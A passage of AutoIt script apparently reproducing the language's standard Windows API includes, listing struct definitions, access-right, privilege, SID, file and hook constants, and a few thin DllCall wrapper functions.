- Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
- Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
- Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
- Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
- Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
- Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
- Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
- Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
- Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
- Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
- Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
- Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
- Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
- Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
- Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
- Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
- Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
- Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
- Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
- Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
- Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
- Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
- Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
- Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
- Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
- Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
- Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
- Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
- Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
- Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
- Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
- Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
- Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
- Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
- Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
- Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
- Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
- Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
- Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
- Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
- Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
- Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
- Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
- Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
- Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
- Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
- Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
- Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
- Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
- Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
- Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
- Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
- Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
- Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
- Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
- Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
- Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
- Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
- Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
- Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
- Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
- Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
- Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
- Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
- Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
- Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
- Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
- Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
- Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
- Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
- Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
- Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
- Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
- Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
- Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
- Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
- Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
- Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
- Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
- Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
- Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
- Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
- Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
- Global Const $process_terminate = 1
- Global Const $process_create_thread = 2
- Global Const $process_set_sessionid = 4
- Global Const $process_vm_operation = 8
- Global Const $process_vm_read = 16
- Global Const $process_vm_write = 32
- Global Const $process_dup_handle = 64
- Global Const $process_create_process = 128
- Global Const $process_set_quota = 256
- Global Const $process_set_information = 512
- Global Const $process_query_information = 1024
- Global Const $process_suspend_resume = 2048
- Global Const $process_all_access = 2035711
- Global Const $error_no_token = 1008
- Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
- Global Const $se_audit_name = "SeAuditPrivilege"
- Global Const $se_backup_name = "SeBackupPrivilege"
- Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
- Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
- Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
- Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
- Global Const $se_create_token_name = "SeCreateTokenPrivilege"
- Global Const $se_debug_name = "SeDebugPrivilege"
- Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
- Global Const $se_impersonate_name = "SeImpersonatePrivilege"
- Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
- Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
- Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
- Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
- Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
- Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
- Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
- Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
- Global Const $se_restore_name = "SeRestorePrivilege"
- Global Const $se_security_name = "SeSecurityPrivilege"
- Global Const $se_shutdown_name = "SeShutdownPrivilege"
- Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
- Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
- Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
- Global Const $se_systemtime_name = "SeSystemtimePrivilege"
- Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
- Global Const $se_tcb_name = "SeTcbPrivilege"
- Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
- Global Const $se_undock_name = "SeUndockPrivilege"
- Global Const $se_privilege_enabled_by_default = 1
- Global Const $se_privilege_enabled = 2
- Global Const $se_privilege_removed = 4
- Global Const $se_privilege_used_for_access = -2147483648
- Global Const $se_group_mandatory = 1
- Global Const $se_group_enabled_by_default = 2
- Global Const $se_group_enabled = 4
- Global Const $se_group_owner = 8
- Global Const $se_group_use_for_deny_only = 16
- Global Const $se_group_integrity = 32
- Global Const $se_group_integrity_enabled = 64
- Global Const $se_group_resource = 536870912
- Global Const $se_group_logon_id = -1073741824
- Global Enum $tokenprimary = 1, $tokenimpersonation
- Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
- Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
- Global Const $token_assign_primary = 1
- Global Const $token_duplicate = 2
- Global Const $token_impersonate = 4
- Global Const $token_query = 8
- Global Const $token_query_source = 16
- Global Const $token_adjust_privileges = 32
- Global Const $token_adjust_groups = 64
- Global Const $token_adjust_default = 128
- Global Const $token_adjust_sessionid = 256
- Global Const $token_all_access = 983551
- Global Const $token_read = 131080
- Global Const $token_write = 131296
- Global Const $token_execute = 131072
- Global Const $token_has_traverse_privilege = 1
- Global Const $token_has_backup_privilege = 2
- Global Const $token_has_restore_privilege = 4
- Global Const $token_has_admin_group = 8
- Global Const $token_is_restricted = 16
- Global Const $token_session_not_referenced = 32
- Global Const $token_sandbox_inert = 64
- Global Const $token_has_impersonate_privilege = 128
- Global Const $rights_delete = 65536
- Global Const $read_control = 131072
- Global Const $write_dac = 262144
- Global Const $write_owner = 524288
- Global Const $synchronize = 1048576
- Global Const $standard_rights_required = 983040
- Global Const $standard_rights_read = $read_control
- Global Const $standard_rights_write = $read_control
- Global Const $standard_rights_execute = $read_control
- Global Const $standard_rights_all = 2031616
- Global Const $specific_rights_all = 65535
- Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
- Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
- Global Const $logon_with_profile = 1
- Global Const $logon_netcredentials_only = 2
- Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
- Global Const $sid_administrators = "S-1-5-32-544"
- Global Const $sid_users = "S-1-5-32-545"
- Global Const $sid_guests = "S-1-5-32-546"
- Global Const $sid_account_operators = "S-1-5-32-548"
- Global Const $sid_server_operators = "S-1-5-32-549"
- Global Const $sid_print_operators = "S-1-5-32-550"
- Global Const $sid_backup_operators = "S-1-5-32-551"
- Global Const $sid_replicator = "S-1-5-32-552"
- Global Const $sid_owner = "S-1-3-0"
- Global Const $sid_everyone = "S-1-1-0"
- Global Const $sid_network = "S-1-5-2"
- Global Const $sid_interactive = "S-1-5-4"
- Global Const $sid_system = "S-1-5-18"
- Global Const $sid_authenticated_users = "S-1-5-11"
- Global Const $sid_schannel_authentication = "S-1-5-64-14"
- Global Const $sid_digest_authentication = "S-1-5-64-21"
- Global Const $sid_nt_service = "S-1-5-80"
- Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
- Global Const $sid_low_mandatory_level = "S-1-16-4096"
- Global Const $sid_medium_mandatory_level = "S-1-16-8192"
- Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
- Global Const $sid_high_mandatory_level = "S-1-16-12288"
- Global Const $sid_system_mandatory_level = "S-1-16-16384"
- Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
- Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
- Global Const $sid_all_services = "S-1-5-80-0"
- Func _winapi_getlasterror($curerr = @error, $curext = @extended)
- Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
- Return SetError($curerr, $curext, $aresult[0])
- EndFunc
- Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
- DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
- Return SetError($curerr, $curext)
- EndFunc
- Global Const $fc_nooverwrite = 0
- Global Const $fc_overwrite = 1
- Global Const $ft_modified = 0
- Global Const $ft_created = 1
- Global Const $ft_accessed = 2
- Global Const $fo_read = 0
- Global Const $fo_append = 1
- Global Const $fo_overwrite = 2
- Global Const $fo_binary = 16
- Global Const $fo_unicode = 32
- Global Const $fo_utf16_le = 32
- Global Const $fo_utf16_be = 64
- Global Const $fo_utf8 = 128
- Global Const $fo_utf8_nobom = 256
- Global Const $eof = -1
- Global Const $fd_filemustexist = 1
- Global Const $fd_pathmustexist = 2
- Global Const $fd_multiselect = 4
- Global Const $fd_promptcreatenew = 8
- Global Const $fd_promptoverwrite = 16
- Global Const $create_new = 1
- Global Const $create_always = 2
- Global Const $open_existing = 3
- Global Const $open_always = 4
- Global Const $truncate_existing = 5
- Global Const $invalid_set_file_pointer = -1
- Global Const $file_begin = 0
- Global Const $file_current = 1
- Global Const $file_end = 2
- Global Const $file_attribute_readonly = 1
- Global Const $file_attribute_hidden = 2
- Global Const $file_attribute_system = 4
- Global Const $file_attribute_directory = 16
- Global Const $file_attribute_archive = 32
- Global Const $file_attribute_device = 64
- Global Const $file_attribute_normal = 128
- Global Const $file_attribute_temporary = 256
- Global Const $file_attribute_sparse_file = 512
- Global Const $file_attribute_reparse_point = 1024
- Global Const $file_attribute_compressed = 2048
- Global Const $file_attribute_offline = 4096
- Global Const $file_attribute_not_content_indexed = 8192
- Global Const $file_attribute_encrypted = 16384
- Global Const $file_share_read = 1
- Global Const $file_share_write = 2
- Global Const $file_share_delete = 4
- Global Const $generic_all = 268435456
- Global Const $generic_execute = 536870912
- Global Const $generic_write = 1073741824
- Global Const $generic_read = -2147483648
- Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
- Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
- If @error Then Return SetError(@error, @extended, "")
- If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
- Return $aresult
- EndFunc
- Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
- Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
- If @error Then Return SetError(@error, @extended, "")
- If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
- Return $aresult
- EndFunc
- Global $__gainprocess_winapi[64][2] = [[0, 0]]
- Global $__gawinlist_winapi[64][2] = [[0, 0]]
- Global Const $__winapiconstant_wm_setfont = 48
- Global Const $__winapiconstant_fw_normal = 400
- Global Const $__winapiconstant_default_charset = 1
- Global Const $__winapiconstant_out_default_precis = 0
- Global Const $__winapiconstant_clip_default_precis = 0
- Global Const $__winapiconstant_default_quality = 0
- Global Const $__winapiconstant_format_message_allocate_buffer = 256
- Global Const $__winapiconstant_format_message_from_system = 4096
- Global Const $__winapiconstant_logpixelsx = 88
- Global Const $__winapiconstant_logpixelsy = 90
- Global Const $hgdi_error = Ptr(-1)
- Global Const $invalid_handle_value = Ptr(-1)
- Global Const $clr_invalid = -1
- Global Const $__winapiconstant_flashw_caption = 1
- Global Const $__winapiconstant_flashw_tray = 2
- Global Const $__winapiconstant_flashw_timer = 4
- Global Const $__winapiconstant_flashw_timernofg = 12
- Global Const $__winapiconstant_gw_hwndnext = 2
- Global Const $__winapiconstant_gw_child = 5
- Global Const $__winapiconstant_di_mask = 1
- Global Const $__winapiconstant_di_image = 2
- Global Const $__winapiconstant_di_normal = 3
- Global Const $__winapiconstant_di_compat = 4
- Global Const $__winapiconstant_di_defaultsize = 8
- Global Const $__winapiconstant_di_nomirror = 16
- Global Const $__winapiconstant_display_device_attached_to_desktop = 1
- Global Const $__winapiconstant_display_device_primary_device = 4
- Global Const $__winapiconstant_display_device_mirroring_driver = 8
- Global Const $__winapiconstant_display_device_vga_compatible = 16
- Global Const $__winapiconstant_display_device_removable = 32
- Global Const $__winapiconstant_display_device_modespruned = 134217728
- Global Const $null_brush = 5
- Global Const $null_pen = 8
- Global Const $black_brush = 4
- Global Const $dkgray_brush = 3
- Global Const $dc_brush = 18
- Global Const $gray_brush = 2
- Global Const $hollow_brush = $null_brush
- Global Const $ltgray_brush = 1
- Global Const $white_brush = 0
- Global Const $black_pen = 7
- Global Const $dc_pen = 19
- Global Const $white_pen = 6
- Global Const $ansi_fixed_font = 11
- Global Const $ansi_var_font = 12
- Global Const $device_default_font = 14
- Global Const $default_gui_font = 17
- Global Const $oem_fixed_font = 10
- Global Const $system_font = 13
- Global Const $system_fixed_font = 16
- Global Const $default_palette = 15
- Global Const $mb_precomposed = 1
- Global Const $mb_composite = 2
- Global Const $mb_useglyphchars = 4
- Global Const $ulw_alpha = 2
- Global Const $ulw_colorkey = 1
- Global Const $ulw_opaque = 4
- Global Const $wh_callwndproc = 4
- Global Const $wh_callwndprocret = 12
- Global Const $wh_cbt = 5
- Global Const $wh_debug = 9
- Global Const $wh_foregroundidle = 11
- Global Const $wh_getmessage = 3
- Global Const $wh_journalplayback = 1
- Global Const $wh_journalrecord = 0
- Global Const $wh_keyboard = 2
- Global Const $wh_keyboard_ll = 13
- Global Const $wh_mouse = 7
- Global Const $wh_mouse_ll = 14
- Global Const $wh_msgfilter = -1
- Global Const $wh_shell = 10
- Global Const $wh_sysmsgfilter = 6
- Global Const $wpf_asyncwindowplacement = 4
- Global Const $wpf_restoretomaximized = 2
- Global Const $wpf_setminposition = 1
- Global Const $kf_extended = 256
- Global Const $kf_altdown = 8192
- Global Const $kf_up = 32768
- Global Const $llkhf_extended = BitShift($kf_extended, 8)
- Global Const $llkhf_injected = 16
- Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
- Global Const $llkhf_up = BitShift($kf_up, 8)
- Global Const $ofn_allowmultiselect = 512
- Global Const $ofn_createprompt = 8192
- Global Const $ofn_dontaddtorecent = 33554432
- Global Const $ofn_enablehook = 32
- Global Const $ofn_enableincludenotify = 4194304
- Global Const $ofn_enablesizing = 8388608
- Global Const $ofn_enabletemplate = 64
- Global Const $ofn_enabletemplatehandle = 128
- Global Const $ofn_explorer = 524288
- Global Const $ofn_extensiondifferent = 1024
- Global Const $ofn_filemustexist = 4096
- Global Const $ofn_forceshowhidden = 268435456
- Global Const $ofn_hidereadonly = 4
- Global Const $ofn_longnames = 2097152
- Global Const $ofn_nochangedir = 8
- Global Const $ofn_nodereferencelinks = 1048576
- Global Const $ofn_nolongnames = 262144
- Global Const $ofn_nonetworkbutton = 131072
- Global Const $ofn_noreadonlyreturn = 32768
- Global Const $ofn_notestfilecreate = 65536
- Global Const $ofn_novalidate = 256
- Global Const $ofn_overwriteprompt = 2
- Global Const $ofn_pathmustexist = 2048
- Global Const $ofn_readonly = 1
- Global Const $ofn_shareaware = 16384
- Global Const $ofn_showhelp = 16
- Global Const $ofn_ex_noplacesbar = 1
- Global Const $tmpf_fixed_pitch = 1
- Global Const $tmpf_vector = 2
- Global Const $tmpf_truetype = 4
- Global Const $tmpf_device = 8
- Global Const $duplicate_close_source = 1
- Global Const $duplicate_same_access = 2
- Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
- Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
- Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
- Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
- Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
- Func _winapi_attachconsole($iprocessid = -1)
- Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
- Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_beep($ifreq = 500, $iduration = 1000)
- Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
- Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
